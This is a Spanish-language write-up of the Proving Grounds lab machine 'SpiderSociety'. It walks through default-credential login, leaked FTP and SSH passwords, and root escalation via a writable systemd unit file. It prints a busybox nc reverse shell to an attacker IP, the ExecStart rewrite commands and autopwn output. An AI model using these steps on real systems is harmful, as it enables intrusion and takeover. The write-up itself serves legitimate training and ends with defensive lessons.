the_open_door
café
ESEN

SpiderSociety

Proving Grounds PracticeMediaLinux192.168.191.214

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#default-credentials#ftp#php-source#hidden-endpoint#systemd#sudo
TL;DR. Panel admin con admin/admin por defecto que suelta credenciales FTP en un modal ("New Message from Tech Dept"), el FTP en el 2121/TCP guarda una copia del web root con fetch_credentials.php que apunta a un endpoint oculto muy largo con las credenciales SSH del usuario spidey, y una escalada por servicio systemd mal aislado (spiderbackup.service con ExecStart escribible por su dueño y daemon-reload/restart en sudoers).

Reconocimiento

Escaneo inicial

El escaneo de puertos completo abre tres puertos, incluido un FTP en un puerto no estándar:

ping -c 1 192.168.191.214       # ttl=61 → Linux
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.191.214
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2121/tcp open  ftp
nmap -p22,80,2121 -sCV 192.168.191.214
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9
80/tcp   open  http    Apache httpd 2.4.58 (title: Spider Society)
2121/tcp open  ftp     vsftpd 3.0.5

El 2121 FTP con vsftpd 3.0.5 es la primera señal: no es un puerto estándar y suele indicar una segunda instancia con un uso específico (un backup, un endpoint interno).

HTTP - subdominio y dirección

La página principal muestra un correo con un dominio: spidersociety.offsec.lab. Se añade al /etc/hosts y se enumeran rutas:

dirsearch -u http://spidersociety.offsec.lab --exclude-status=404,403,503 -t 200 \
  -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Dos rutas útiles: /images/ y /libspider/. Este último aloja el panel de administración.

Shell como spidey

Credenciales por defecto → FTP en modal

El panel /libspider/index.php acepta admin/admin sin ninguna resistencia.

Panel de Spider Society con admin/admin

Nada más entrar salta un modal "New Message from Tech Dept" con credenciales FTP de un usuario de backups en claro. Es un caso de credenciales embebidas muy visible.

Modal con las credenciales FTP

Username: ss_ftpbckuser
Password: ss_WeLoveSpiderSociety_From_Tech_Dept5937!

FTP 2121 - descarga recursiva

wget -r ftp:// recupera el contenido completo del FTP: es un backup del libspider/ con los PHP incluyendo fetch_credentials.php.

wget -r ftp://'ss_ftpbckuser':'ss_WeLoveSpiderSociety_From_Tech_Dept5937!'@'spidersociety.offsec.lab':2121/

Contenido del FTP

404.html  images  index.html  libspider  simple.py

libspider:
control-panel.php  fetch-credentials.php  index.php  login.php  logout.php  users.php

fetch_credentials.php → endpoint oculto con SSH

El fichero fetch_credentials.php no expone secretos, pero sí revela una URL "escondida" (un basename largo, tipo security through obscurity) donde el servidor guarda variables .env con las credenciales SSH.

Contenido de fetch_credentials.php

curl http://spidersociety.offsec.lab/libspider/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv
# DB_CONNECT_USER=spidey
# DB_CONNECT_PASS=WithGreatPowerComesGreatSecurity99!

Un endpoint oculto no protege nada: dirsearch con la wordlist adecuada lo encuentra igual, o (como aquí) el propio código revela la ruta.

sshpass -p 'WithGreatPowerComesGreatSecurity99!' ssh spidey@192.168.191.214

SSH como spidey

spidey@spidersociety:~$ cat local.txt
6731e8d5ae04cc7cfcca081e5d3ed86f

local.txt como spidey

Escalada de Privilegios

spiderbackup.service - ExecStart de spidey + sudo restart

sudo -l pinta claro el patrón de servicio systemd escribible mal aislado:

(ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) !/bin/bash, !/bin/sh, !/bin/su, !/usr/bin/sudo

El fichero de unidad /etc/systemd/system/spiderbackup.service es propiedad del usuario spidey (rw), corre como root, y su ExecStart=/usr/local/bin/spiderbackup.sh es la línea a manipular. Como el usuario tiene el restart y el daemon-reload con sudo sin contraseña, puede editar el unit file, forzar recarga y arrancar el servicio: el nuevo ExecStart corre como root.

sudo -l y unit file editable

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 5555
# escribir el nuevo script (con lo que sea, aquí un revshell)
cat > /tmp/privesc.sh <<'EOF'
#!/bin/bash
busybox nc 192.168.45.201 5555 -e bash
EOF
chmod +x /tmp/privesc.sh

# apuntar el unit file al nuevo script
sed -i 's|ExecStart=/usr/local/bin/spiderbackup.sh|ExecStart=/tmp/privesc.sh|' \
       /etc/systemd/system/spiderbackup.service

sudo /bin/systemctl daemon-reload
sudo /bin/systemctl restart spiderbackup.service

Alternativa (la del proceso original): quitar el SUID a /bin/bash como paso previo no procede porque los !/bin/bash del sudoers no impiden que el servicio ejecute lo que quiera; el ExecStart corre como root sin pasar por sudo.

Root shell tras restart del servicio

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
bash-5.2# whoami
root

Proof.txt

bash-5.2# cat /root/proof.txt
0dafd69cc0d0033a2df72d2201d924a1

proof.txt como root

Automatizar la cadena entera

Toda la secuencia (login por defecto en /libspider/, credenciales del FTP en el modal, descarga recursiva, fetch_credentials.php, SSH y el reinicio del servicio con sudo) cabe en un script. Aquí no hay ningún paso que dependa de una decisión humana, así que sale directo a shell de root:

python3 spidersociety_autopwn.py <ip-victima> <ip-atacante> <port>

spidersociety_autopwn.py levanta el listener, recibe la shell y ejecuta whoami, cat del proof.txt, ip a y hostname devolviendo root en spidersociety

[*] Waiting for reverse shell ...
listening on [any] 1111 ...
connect to [192.168.45.155] from (UNKNOWN) [192.168.134.214] 48584
whoami
root
cat /root/proof.txt && whoami && ip a && hostname
c8b0352dcdada63661b74c45c3d06a44
root
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    inet 127.0.0.1/8 scope host lo
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:9e:c3:fc brd ff:ff:ff:ff:ff:ff
    inet 192.168.134.214/24 brd 192.168.134.255 scope global ens192
spidersociety

El proof.txt no coincide con el de la pasada manual porque la máquina se había vuelto a desplegar entre una y otra: en Proving Grounds las flags se regeneran en cada despliegue.

Cadena de ataque

Home + /etc/hosts
  └─ /libspider/  admin/admin (default)
     └─ Modal FTP -> ss_ftpbckuser / ss_WeLoveSpiderSociety_From_Tech_Dept5937!
        └─ FTP :2121 -> wget -r -> fetch_credentials.php
           └─ .fuhfjkz...env  -> spidey / WithGreatPowerComesGreatSecurity99!
              └─ SSH -> local.txt
                 └─ sudo -l -> daemon-reload + restart spiderbackup.service
                    └─ ExecStart de spidey editable -> /tmp/privesc.sh -> root

Lecciones aprendidas

  • Las credenciales por defecto siguen siendo el vector 0. Cualquier deployment en un dominio tipo *.lab sin cambio de admin/admin es responsable.
  • Un modal, un tooltip o un console.log con credenciales son la misma superficie de fuga: se auditan como el resto.
  • La security through obscurity (endpoints con nombres muy largos) no aguanta el análisis del código: quien lee la fuente se lleva la ruta.
  • Un unit file de systemd con ExecStart editable por el usuario más una regla sudo para restart sobre ese servicio es una escalada directa. El propietario del unit file es el nuevo root efectivo.
  • sudo -l con !/bin/bash, !/bin/sh, ... es un intento de mitigación cosmético si el binario permitido puede modificar comportamiento privilegiado sin invocar shell; la reescritura del ExecStart esquiva por completo esa lista.
Cheatsheet de comandos 9 comandos

Repaso rápido